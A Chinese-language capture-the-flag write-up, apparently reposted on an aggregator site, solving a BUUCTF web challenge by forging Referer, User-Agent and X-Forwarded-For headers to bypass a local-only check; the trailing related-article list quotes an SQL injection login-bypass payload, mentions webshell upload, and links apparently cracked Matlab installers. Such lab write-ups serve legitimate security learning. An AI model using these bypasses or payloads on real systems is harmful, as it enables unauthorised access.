[极客大挑战 2019]Http

news/2025/1/9 13:33:06/文章来源:https://www.cnblogs.com/imtaieee/p/18522678

题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]Http。

访问环境如下。

该页面的响应包如下。

HTTP/1.1 200 OK
Date: Wed, 23 Oct 2024 16:21:45 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 4065
Connection: close
Content-Type: text/html; charset=UTF-8<!DOCTYPE HTML><html><head><title>Syclover</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><!--[if lte IE 8]><script src="assets/js/ie/html5shiv.js"></script><![endif]--><link rel="stylesheet" href="assets/css/main.css" /><!--[if lte IE 8]><link rel="stylesheet" href="assets/css/ie8.css" /><![endif]--><!--[if lte IE 9]><link rel="stylesheet" href="assets/css/ie9.css" /><![endif]--></head><body class="landing"><style>p,h2{cursor:default;}</style><!-- Page Wrapper --><div id="page-wrapper"><!-- Banner --><section id="banner"><div class="inner"><h2>Syclover</h2><p>Hi Hackers<br />Here is the secret website <br /> of the Syclover <br /></div><a href="#one" class="more scrolly">Learn More</a></section><!-- One --><section id="one" class="wrapper style1 special"><div class="inner"><header class="major"><h2>欢迎来到西南某最大卖鞋厂商 !<br />三叶草安全技术小组(Syclover)</h2><p>当黑客帝国的梦想成为现实,你就是下一个奇迹缔造者!<br />三叶草安全技术小组(Syclover)等待着同样热爱技术的你~<br />Syclover2019招新群:671301484</p></header><ul class="icons major"><li><span class="icon fa-diamond major style1"><span class="label">Lorem</span></span></li><li><span class="icon fa-heart-o major style2"><span class="label">Ipsum</span></span></li><li><span class="icon fa-code major style3"><span class="label">Dolor</span></span></li></ul></div></section><!-- Two --><section id="two" class="wrapper alt style2"><section class="spotlight"><div class="image"><img src="images/pic01.jpg" alt="" /></div><div class="content"><h2>小组简介</h2><p>·成立时间:2005年3月<br /><br />·研究领域:渗透测试、逆向工程、密码学、IoT硬件安全、移动安全、安全编程、二进制漏洞挖掘利用等安全技术<br /><br />·小组的愿望:致力于成为国内实力强劲和拥有广泛影响力的安全研究团队,为广大的在校同学营造一个良好的信息安全技术<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>!</p></div></section></section><script src="assets/js/jquery.min.js"></script><script src="assets/js/jquery.scrollex.min.js"></script><script src="assets/js/jquery.scrolly.min.js"></script><script src="assets/js/skel.min.js"></script><script src="assets/js/util.js"></script><!--[if lte IE 8]><script src="assets/js/ie/respond.min.js"></script><![endif]--><script src="assets/js/main.js"></script><footer id="footer"><ul class="copyright"><li>&copy; Syclover</li><li>Design: Cl4y</li></ul></footer> </body>
</html>

可以发现,在页面的源代码中存在 "Secret.php" 页面,访问该页面的响应包如下。

HTTP/1.1 200 OK
Date: Wed, 23 Oct 2024 16:20:03 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 2377
Connection: close
Content-Type: text/html; charset=UTF-8<!DOCTYPE html>
<html><style>.slickButton3 {margin-right:20px;margin-left:20px;margin-top:20px;margin-bottom:20px;color: white;font-weight: bold;padding: 10px;border: solid 1px black;background: #111111;cursor: pointer;transition: box-shadow 0.5s;-webkit-transition: box-shadow 0.5s;}.slickButton3:hover {box-shadow:4px 4px 8px #00FFFF;}img {position:absolute;left:20px;top:0px;}p {cursor: default;}.input{border: 1px solid #ccc;padding: 7px 0px;border-radius: 3px;padding-left:5px;-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);box-shadow: inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition: border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s}.input:hover{border-color: #808000;box-shadow: 0px 0px 8px #7CFC00;}  </style><head><meta charset="UTF-8"><title>SycSecret</title>
</head>
<body background="./images/background.png" style="background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;" ></br></br></br></br></br></br></br></br></br></br></br></br>
<h1 style="font-family:arial;color:#8E44AD;font-size:50px;text-align:center;font-family:KaiTi;">
Please use "Syclover" browser</h1>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>

可以发现,提示 "Please use "Syclover" browse",而 HTTP 中,"User-Agent" 标头用于标识客户端(即访问者)的一些情况(如使用的浏览器信息,主机信息等),因此使用如下请求包进行访问。

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:27064
Referer: https://Sycsecret.buuoj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Syclover/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

响应包如下。

HTTP/1.1 200 OK
Date: Wed, 23 Oct 2024 16:20:29 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 2387
Connection: close
Content-Type: text/html; charset=UTF-8<!DOCTYPE html>
<html><style>.slickButton3 {margin-right:20px;margin-left:20px;margin-top:20px;margin-bottom:20px;color: white;font-weight: bold;padding: 10px;border: solid 1px black;background: #111111;cursor: pointer;transition: box-shadow 0.5s;-webkit-transition: box-shadow 0.5s;}.slickButton3:hover {box-shadow:4px 4px 8px #00FFFF;}img {position:absolute;left:20px;top:0px;}p {cursor: default;}.input{border: 1px solid #ccc;padding: 7px 0px;border-radius: 3px;padding-left:5px;-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);box-shadow: inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition: border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s}.input:hover{border-color: #808000;box-shadow: 0px 0px 8px #7CFC00;}  </style><head><meta charset="UTF-8"><title>SycSecret</title>
</head>
<body background="./images/background.png" style="background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;" ></br></br></br></br></br></br></br></br></br></br></br></br>
<h1 style="font-family:arial;color:#8E44AD;font-size:50px;text-align:center;font-family:KaiTi;">
No!!! you can only read this locally!!!</h1>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>

可以发现,后端提示 "No!!! you can only read this locally!!!"。

而在 HTTP 中,"x-forwarded-for" 常用于标识客户端的 IP 地址,因此使用如下请求包再次访问。

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:27064
Referer: https://Sycsecret.buuoj.cn
x-forwarded-for: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Syclover/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

响应包如下。

HTTP/1.1 200 OK
Date: Wed, 23 Oct 2024 16:20:56 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 2391
Connection: close
Content-Type: text/html; charset=UTF-8<!DOCTYPE html>
<html><style>.slickButton3 {margin-right:20px;margin-left:20px;margin-top:20px;margin-bottom:20px;color: white;font-weight: bold;padding: 10px;border: solid 1px black;background: #111111;cursor: pointer;transition: box-shadow 0.5s;-webkit-transition: box-shadow 0.5s;}.slickButton3:hover {box-shadow:4px 4px 8px #00FFFF;}img {position:absolute;left:20px;top:0px;}p {cursor: default;}.input{border: 1px solid #ccc;padding: 7px 0px;border-radius: 3px;padding-left:5px;-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);box-shadow: inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition: border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s}.input:hover{border-color: #808000;box-shadow: 0px 0px 8px #7CFC00;}  </style><head><meta charset="UTF-8"><title>SycSecret</title>
</head>
<body background="./images/background.png" style="background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;" ></br></br></br></br></br></br></br></br></br></br></br></br>
<h1 style="font-family:arial;color:#8E44AD;font-size:50px;text-align:center;font-family:KaiTi;">
flag{3f4c7b42-8cf1-4b0a-9952-31ba3926b551}
</h1>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>

而 flag 就在响应包中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/825958.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Matlab 2024下载与安装(包含授权激活)

1、安装包Matlab 2024 B: 链接:https://pan.quark.cn/s/f56eda425e79 提取码:daQZ Matlab 2023B: 链接:https://pan.quark.cn/s/6b597a439f49 提取码:c3XR Matlab R2022 a: 链接:https://pan.quark.cn/s/4a8cf5260d20 提取码:QyKG 2、安装教程 1) 解压压缩包文件…

[极客大挑战 2019]Upload

题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]Upload。 打开环境,如下所示。通过页面源代码可以发现,该网站系 PHP 架构,因此尝试直接上传一句话木马。发现提示 "NOT!php!",因此尝试 fuzzing 一下后缀名。发现网站可以通过了 "phtml" 的后…

[SUCTF 2019]EasySQL

题目链接:https://buuoj.cn/challenges#[SUCTF 2019]EasySQL 打开环境后,如下所示。尝试输入字符:1。尝试输入字符:0 后,发现没有输出结果。尝试输入字符串 "aaa"、"bbb" 等后,发现都跟输入 0 的结果一致,而输入 123、456 等非 0 的内容,都与输入 …

[极客大挑战 2019]LoveSQL

题目链接:https://buuoj.cn/challenges#[极客大挑战 2019]LoveSQL。 打开环境后,如下所示。尝试 SQL 注入(万能密码)。 Payload:admin+or+1%3d1%3b%23。(笔者通过简单粗暴的尝试:①没有使用单引号;②使用单引号;③使用双引号,来确定后端拼接的 SQL 语句中的 password…

2024软工现场编程实践

作业所属课程 https://edu.cnblogs.com/campus/fzu/SE2024作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13302作业的目标 在三个小时内编写出一个个人记账本,用户可以对自己平时的收入和支出情况进行简单的记录,查看和统计团队名称 “研途无忧”团队成员学号…

2024软工实践

作业所属课程 https://edu.cnblogs.com/campus/fzu/SE2024作业要求 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13302作业的目标 在三个小时内编写出一个个人记账本,用户可以对自己平时的收入和支出情况进行简单的记录,查看和统计团队名称 “研途无忧”团队成员学号…

Winform在主窗体里切换多个窗体

1.点击解决方案资源管理器的项目名称,右键添加用户控件(Windows窗体)。2.在主窗体代码中实例化添加的用户控件(Windows窗体)。3.在主窗体界面中添加pane控件,该控件的大小就是要切换的界面大小,然后在主窗体代码中将实例化的用户控件(Windows窗体)添加到pane控件的集合…

目前遇到过的编码

Base家族 base16 由大写字母(A-Z)和数字(0-9)组成,通常不需要“=”填充 base32 由(A-Z、2-7)32个可见字符构成,“=”符号用作后缀填充 例:NZXV64DBONZXO33SMQ====== KVEEQRSCI5DVKVSXKZEUQS2FJBKE2WKKGI2EKNCWJFCUQNSKIVAVINBTKVKE2TZUKVHUWRZWGRIVSVSNJZJFIQKNIZLDIN…

NOI LINUX 系统终端常用操作

打开终端 我们可以右键空白处 - 在终端中打开(Open in Terminal)/Ctrl+Alt+T 快捷键打开终端。 考试时编译、运行、调试、对拍、测大样例等行为的操作 对于一个 C++ 可执行文件 1.cpp 为例:编译: g++ 1.cpp -o qwq,其中 1.cpp 可替换为任意 C++ 可执行文件,qwq 表示已编译…

[BUUCTF]disk

[BUUCTF]disk[BUUCTF]disk 分析 VMDK:(VMWare Virtual Machine Disk Format)是虚拟机VMware创建的虚拟硬盘格式,文件存在于VMware文件系统中,被称为VMFS(虚拟机文件系统) 解题 凡是先打开010获得ctf{unseCure_quick_form4t_vo1umer 查找另外一半 用7Z打开该vmdk文件,发…

云南5日游

1 总览🦋云南景点合集 💛昆明:石林景区、昆明老街、滇池、斗南花市 💜大理:大理古城、洱海、苍山、喜洲古镇、南诏风情岛、双廊古镇、崇圣寺三塔 💙丽江: 玉龙雪山、蓝月谷、云杉坪、束河古镇、丽江古城、泸沽湖、 💚香格里拉:普达措公园、虎跳峡、独克宗古城、梅…

记录一下自己的优化字符串匹配算法

谁能拒绝一个写法比KMP简单,时间复杂度摸摸KMP(`O(n)` & `O(m+n)`),空间复杂度大概持平KMP的可可爱爱的KeBF呢😘我愿称之KeBF算法Ke的BF(Brute Force,暴力检索)法 关于其他 字符串匹配算法示例源码 #include <stdio.h> #include <string.h>int main() {//…